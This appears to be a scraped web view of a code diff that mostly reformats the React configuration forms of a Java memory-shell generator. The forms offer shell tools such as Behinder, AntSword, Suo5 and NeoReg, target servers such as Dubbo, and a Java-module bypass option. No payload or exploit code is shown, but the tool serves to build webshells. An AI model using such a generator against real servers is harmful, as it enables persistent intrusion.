import { Label } from "@/components/ui/label";
|
import { Label } from "@/components/ui/label";
|
||||||
import {
|
import {
|
||||||
Select,
|
Select,
|
||||||
@@ -26,17 +24,9 @@ import {
|
|||||||
} from "@/components/ui/select";
|
} from "@/components/ui/select";
|
||||||
import { Switch } from "@/components/ui/switch";
|
import { Switch } from "@/components/ui/switch";
|
||||||
import { Tabs } from "@/components/ui/tabs";
|
import { Tabs } from "@/components/ui/tabs";
|
||||||
import {
|
import { Tooltip, TooltipContent, TooltipTrigger } from "@/components/ui/tooltip";
|
||||||
Tooltip,
|
import { type MainConfig, type ServerConfig, ShellToolType } from "@/types/memshell";
|
||||||
TooltipContent,
|
|
||||||
TooltipTrigger,
|
|
||||||
} from "@/components/ui/tooltip";
|
|
||||||
import {
|
|
||||||
type MainConfig,
|
|
||||||
type ServerConfig,
|
|
||||||
ShellToolType,
|
|
||||||
} from "@/types/memshell";
|
|
||||||
import type { MemShellFormSchema } from "@/types/schema";
|
|
||||||
import { Spinner } from "../ui/spinner";
|
import { Spinner } from "../ui/spinner";
|
||||||
import { JREVersionFormField } from "./jreversion-field";
|
import { JREVersionFormField } from "./jreversion-field";
|
||||||
import { ServerVersionFormField } from "./serverversion-field";
|
import { ServerVersionFormField } from "./serverversion-field";
|
||||||
@@ -76,9 +66,7 @@ export default function MainConfigCard({
|
|||||||
if (!serverToolMap) {
|
if (!serverToolMap) {
|
||||||
return [];
|
return [];
|
||||||
}
|
}
|
||||||
const tools = Object.keys(serverToolMap).map(
|
const tools = Object.keys(serverToolMap).map((tool) => tool as ShellToolType);
|
||||||
(tool) => tool as ShellToolType,
|
|
||||||
);
|
|
||||||
return Array.from(new Set([...tools, ShellToolType.Custom]));
|
return Array.from(new Set([...tools, ShellToolType.Custom]));
|
||||||
}, [serverToolMap]);
|
}, [serverToolMap]);
|
||||||
|
|
||||||
@@ -134,8 +122,8 @@ export default function MainConfigCard({
|
|||||||
const currentTargetJdk = form.getValues("targetJdkVersion") as string;
|
const currentTargetJdk = form.getValues("targetJdkVersion") as string;
|
||||||
const currentJdkVersion = Number.parseInt(currentTargetJdk, 10);
|
const currentJdkVersion = Number.parseInt(currentTargetJdk, 10);
|
||||||
const shouldRaiseJdkVersion =
|
const shouldRaiseJdkVersion =
|
||||||
(server === "SpringWebFlux" || server === "XXLJOB") &&
|
(server === "SpringWebFlux" || server === "XXLJOB" || server === "Dubbo") &&
|
||||||
currentJdkVersion < 52;
|
currentJdkVersion <= 52;
|
||||||
const nextJdkVersion = shouldRaiseJdkVersion ? "52" : "50";
|
const nextJdkVersion = shouldRaiseJdkVersion ? "52" : "50";
|
||||||
if (currentTargetJdk !== nextJdkVersion) {
|
if (currentTargetJdk !== nextJdkVersion) {
|
||||||
form.setValue("targetJdkVersion", nextJdkVersion);
|
form.setValue("targetJdkVersion", nextJdkVersion);
|
||||||
@@ -245,39 +233,27 @@ export default function MainConfigCard({
|
|||||||
</CardHeader>
|
</CardHeader>
|
||||||
<CardContent>
|
<CardContent>
|
||||||
{!mainConfig ? (
|
{!mainConfig ? (
|
||||||
<div className="flex items-center justify-center p-4 gap-4 h-100">
|
<div className="flex h-100 items-center justify-center gap-4 p-4">
|
||||||
<Spinner />
|
<Spinner />
|
||||||
<span className="text-sm text-muted-foreground">
|
<span className="text-sm text-muted-foreground">{t("loading")}</span>
|
||||||
{t("loading")}
|
|
||||||
</span>
|
|
||||||
</div>
|
</div>
|
||||||
) : (
|
) : (
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
<div className="grid grid-cols-1 gap-2 md:grid-cols-2">
|
||||||
<Controller
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="server"
|
name="server"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<Field>
|
<Field>
|
||||||
<FieldContent>
|
<FieldContent>
|
||||||
<FieldLabel htmlFor="server">
|
<FieldLabel htmlFor="server">{t("common:server")}</FieldLabel>
|
||||||
{t("common:server")}
|
<Select onValueChange={field.onChange} value={field.value}>
|
||||||
</FieldLabel>
|
|
||||||
<Select
|
|
||||||
onValueChange={field.onChange}
|
|
||||||
value={field.value}
|
|
||||||
>
|
|
||||||
<SelectTrigger id="server">
|
<SelectTrigger id="server">
|
||||||
<SelectValue
|
<SelectValue data-placeholder={t("common:placeholders.select")} />
|
||||||
data-placeholder={t("common:placeholders.select")}
|
|
||||||
/>
|
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
{serverOptions.map((serverOption) => (
|
{serverOptions.map((serverOption) => (
|
||||||
<SelectItem
|
<SelectItem key={serverOption} value={serverOption}>
|
||||||
key={serverOption}
|
|
||||||
value={serverOption}
|
|
||||||
>
|
|
||||||
{serverOption}
|
{serverOption}
|
||||||
</SelectItem>
|
</SelectItem>
|
||||||
))}
|
))}
|
||||||
@@ -301,26 +277,20 @@ export default function MainConfigCard({
|
|||||||
/>
|
/>
|
||||||
<ServerVersionFormField form={form} />
|
<ServerVersionFormField form={form} />
|
||||||
</div>
|
</div>
|
||||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
<div className="grid grid-cols-1 gap-2 md:grid-cols-2">
|
||||||
<Controller
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="shellTool"
|
name="shellTool"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<Field>
|
<Field>
|
||||||
<FieldContent>
|
<FieldContent>
|
||||||
<FieldLabel htmlFor="shellTool">
|
<FieldLabel htmlFor="shellTool">{t("common:shellTool")}</FieldLabel>
|
||||||
{t("common:shellTool")}
|
|
||||||
</FieldLabel>
|
|
||||||
<Select
|
<Select
|
||||||
value={field.value}
|
value={field.value}
|
||||||
onValueChange={(v) =>
|
onValueChange={(v) => handleShellToolChange(v as string)}
|
||||||
handleShellToolChange(v as string)
|
|
||||||
}
|
|
||||||
>
|
>
|
||||||
<SelectTrigger id="shellTool">
|
<SelectTrigger id="shellTool">
|
||||||
<SelectValue
|
<SelectValue data-placeholder={t("common:placeholders.select")} />
|
||||||
data-placeholder={t("common:placeholders.select")}
|
|
||||||
/>
|
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
{shellTools.map((tool) => (
|
{shellTools.map((tool) => (
|
||||||
@@ -336,21 +306,17 @@ export default function MainConfigCard({
|
|||||||
/>
|
/>
|
||||||
<JREVersionFormField form={form} />
|
<JREVersionFormField form={form} />
|
||||||
</div>
|
</div>
|
||||||
<div className="flex gap-4 mt-4 flex-col lg:grid lg:grid-cols-2 2xl:grid 2xl:grid-cols-3">
|
<div className="mt-4 flex flex-col gap-4 lg:grid lg:grid-cols-2 2xl:grid 2xl:grid-cols-3">
|
||||||
<Controller
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="debug"
|
name="debug"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<div className="flex items-center gap-2">
|
<div className="flex items-center gap-2">
|
||||||
<Switch
|
<Switch id="debug" checked={field.value} onCheckedChange={field.onChange} />
|
||||||
id="debug"
|
|
||||||
checked={field.value}
|
|
||||||
onCheckedChange={field.onChange}
|
|
||||||
/>
|
|
||||||
<Label htmlFor="debug">{t("common:debug")}</Label>
|
<Label htmlFor="debug">{t("common:debug")}</Label>
|
||||||
<Tooltip>
|
<Tooltip>
|
||||||
<TooltipTrigger>
|
<TooltipTrigger>
|
||||||
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
|
||||||
</TooltipTrigger>
|
</TooltipTrigger>
|
||||||
<TooltipContent>
|
<TooltipContent>
|
||||||
<p>{t("common:debug.description")}</p>
|
<p>{t("common:debug.description")}</p>
|
||||||
@@ -364,15 +330,11 @@ export default function MainConfigCard({
|
|||||||
name="probe"
|
name="probe"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<div className="flex items-center gap-2">
|
<div className="flex items-center gap-2">
|
||||||
<Switch
|
<Switch id="probe" checked={field.value} onCheckedChange={field.onChange} />
|
||||||
id="probe"
|
|
||||||
checked={field.value}
|
|
||||||
onCheckedChange={field.onChange}
|
|
||||||
/>
|
|
||||||
<Label htmlFor="probe">{t("common:probe")}</Label>
|
<Label htmlFor="probe">{t("common:probe")}</Label>
|
||||||
<Tooltip>
|
<Tooltip>
|
||||||
<TooltipTrigger>
|
<TooltipTrigger>
|
||||||
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
|
||||||
</TooltipTrigger>
|
</TooltipTrigger>
|
||||||
<TooltipContent>
|
<TooltipContent>
|
||||||
<p>{t("common:probe.description")}</p>
|
<p>{t("common:probe.description")}</p>
|
||||||
@@ -386,17 +348,11 @@ export default function MainConfigCard({
|
|||||||
name="byPassJavaModule"
|
name="byPassJavaModule"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<div className="flex items-center gap-2">
|
<div className="flex items-center gap-2">
|
||||||
<Switch
|
<Switch id="bypass" checked={field.value} onCheckedChange={field.onChange} />
|
||||||
id="bypass"
|
<Label htmlFor="bypass">{t("common:byPassJavaModule")}</Label>
|
||||||
checked={field.value}
|
|
||||||
onCheckedChange={field.onChange}
|
|
||||||
/>
|
|
||||||
<Label htmlFor="bypass">
|
|
||||||
{t("common:byPassJavaModule")}
|
|
||||||
</Label>
|
|
||||||
<Tooltip>
|
<Tooltip>
|
||||||
<TooltipTrigger>
|
<TooltipTrigger>
|
||||||
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
|
||||||
</TooltipTrigger>
|
</TooltipTrigger>
|
||||||
<TooltipContent>
|
<TooltipContent>
|
||||||
<p>{t("common:byPassJavaModule.description")}</p>
|
<p>{t("common:byPassJavaModule.description")}</p>
|
||||||
@@ -415,12 +371,10 @@ export default function MainConfigCard({
|
|||||||
checked={field.value}
|
checked={field.value}
|
||||||
onCheckedChange={field.onChange}
|
onCheckedChange={field.onChange}
|
||||||
/>
|
/>
|
||||||
<Label htmlFor="lambdaSuffix">
|
<Label htmlFor="lambdaSuffix">{t("common:lambdaSuffix")}</Label>
|
||||||
{t("common:lambdaSuffix")}
|
|
||||||
</Label>
|
|
||||||
<Tooltip>
|
<Tooltip>
|
||||||
<TooltipTrigger>
|
<TooltipTrigger>
|
||||||
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
|
||||||
</TooltipTrigger>
|
</TooltipTrigger>
|
||||||
<TooltipContent>
|
<TooltipContent>
|
||||||
<p>{t("common:lambdaSuffix.description")}</p>
|
<p>{t("common:lambdaSuffix.description")}</p>
|
||||||
@@ -434,15 +388,11 @@ export default function MainConfigCard({
|
|||||||
name="shrink"
|
name="shrink"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<div className="flex items-center gap-2">
|
<div className="flex items-center gap-2">
|
||||||
<Switch
|
<Switch id="shrink" checked={field.value} onCheckedChange={field.onChange} />
|
||||||
id="shrink"
|
|
||||||
checked={field.value}
|
|
||||||
onCheckedChange={field.onChange}
|
|
||||||
/>
|
|
||||||
<Label htmlFor="shrink">{t("common:shrink")}</Label>
|
<Label htmlFor="shrink">{t("common:shrink")}</Label>
|
||||||
<Tooltip>
|
<Tooltip>
|
||||||
<TooltipTrigger>
|
<TooltipTrigger>
|
||||||
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
|
||||||
</TooltipTrigger>
|
</TooltipTrigger>
|
||||||
<TooltipContent>
|
<TooltipContent>
|
||||||
<p>{t("common:shrink.description")}</p>
|
<p>{t("common:shrink.description")}</p>
|
||||||
@@ -461,12 +411,10 @@ export default function MainConfigCard({
|
|||||||
checked={field.value}
|
checked={field.value}
|
||||||
onCheckedChange={field.onChange}
|
onCheckedChange={field.onChange}
|
||||||
/>
|
/>
|
||||||
<Label htmlFor="staticInitialize">
|
<Label htmlFor="staticInitialize">{t("common:staticInitialize")}</Label>
|
||||||
{t("common:staticInitialize")}
|
|
||||||
</Label>
|
|
||||||
<Tooltip>
|
<Tooltip>
|
||||||
<TooltipTrigger>
|
<TooltipTrigger>
|
||||||
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
|
||||||
</TooltipTrigger>
|
</TooltipTrigger>
|
||||||
<TooltipContent>
|
<TooltipContent>
|
||||||
<p>{t("common:staticInitialize.description")}</p>
|
<p>{t("common:staticInitialize.description")}</p>
|
||||||
@@ -487,11 +435,7 @@ export default function MainConfigCard({
|
|||||||
<BehinderTabContent form={form} shellTypes={shellTypes} />
|
<BehinderTabContent form={form} shellTypes={shellTypes} />
|
||||||
<AntSwordTabContent form={form} shellTypes={shellTypes} />
|
<AntSwordTabContent form={form} shellTypes={shellTypes} />
|
||||||
<Suo5TabContent tabValue="Suo5" form={form} shellTypes={shellTypes} />
|
<Suo5TabContent tabValue="Suo5" form={form} shellTypes={shellTypes} />
|
||||||
<Suo5TabContent
|
<Suo5TabContent tabValue="Suo5v2" form={form} shellTypes={shellTypes} />
|
||||||
tabValue="Suo5v2"
|
|
||||||
form={form}
|
|
||||||
shellTypes={shellTypes}
|
|
||||||
/>
|
|
||||||
<NeoRegTabContent form={form} shellTypes={shellTypes} />
|
<NeoRegTabContent form={form} shellTypes={shellTypes} />
|
||||||
<CustomTabContent form={form} shellTypes={shellTypes} />
|
<CustomTabContent form={form} shellTypes={shellTypes} />
|
||||||
<ProxyTabContent form={form} shellTypes={shellTypes} />
|
<ProxyTabContent form={form} shellTypes={shellTypes} />
|
||||||
|
|||||||
@@ -1,13 +1,15 @@
|
|||||||
|
import type { PackerConfig } from "@/types/memshell";
|
||||||
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
|
|
||||||
import { PackageIcon } from "lucide-react";
|
import { PackageIcon } from "lucide-react";
|
||||||
import { useMemo } from "react";
|
import { useMemo } from "react";
|
||||||
import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
|
import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
|
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||||
import { FieldLabel, FieldSet } from "@/components/ui/field";
|
import { FieldLabel, FieldSet } from "@/components/ui/field";
|
||||||
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
|
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
|
||||||
import { Spinner } from "@/components/ui/spinner";
|
import { Spinner } from "@/components/ui/spinner";
|
||||||
import type { PackerConfig } from "@/types/memshell";
|
|
||||||
import type { MemShellFormSchema } from "@/types/schema";
|
|
||||||
|
|
||||||
export default function PackageConfigCard({
|
export default function PackageConfigCard({
|
||||||
packerConfig,
|
packerConfig,
|
||||||
@@ -84,11 +86,9 @@ export default function PackageConfigCard({
|
|||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
) : (
|
) : (
|
||||||
<div className="flex items-center justify-center p-4 gap-4 h-50">
|
<div className="flex h-50 items-center justify-center gap-4 p-4">
|
||||||
<Spinner />
|
<Spinner />
|
||||||
<span className="text-sm text-muted-foreground">
|
<span className="text-sm text-muted-foreground">{t("loading")}</span>
|
||||||
{t("loading")}
|
|
||||||
</span>
|
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
</CardContent>
|
</CardContent>
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user